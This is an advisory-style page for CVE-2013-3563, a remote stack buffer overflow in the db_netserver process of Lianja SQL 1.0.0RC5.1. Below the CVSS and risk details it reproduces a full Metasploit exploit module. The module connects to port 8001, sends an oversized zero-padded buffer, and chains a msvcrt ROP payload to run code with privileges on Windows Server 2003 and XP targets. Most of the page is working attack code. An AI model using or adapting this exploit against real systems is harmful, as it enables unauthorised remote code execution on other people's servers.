Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

2013.05.31
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::RopDb def initialize(info = {}) super(update_info(info, 'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the db_netserver process which is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2. }, 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3563' ] ], 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'StackAdjustment' => -3500, 'Space' => 500, 'BadChars' => "\x01" }, 'Targets' => [ [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ], [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ], ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'May 22 2013')) register_options( [ Opt::RPORT(8001), ], self.class) end def check begin connect rescue return Exploit::CheckCode::Safe end sock.put("db_net") if sock.recv(4) =~ /\d{1,5}/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect sock.put("db_net") sock.recv(4) print_status("#{rhost}:#{rport} - Sending Malicious Data") evil_data = '000052E1' evil_data << 'A' evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']}) sock.put(evil_data) disconnect end end


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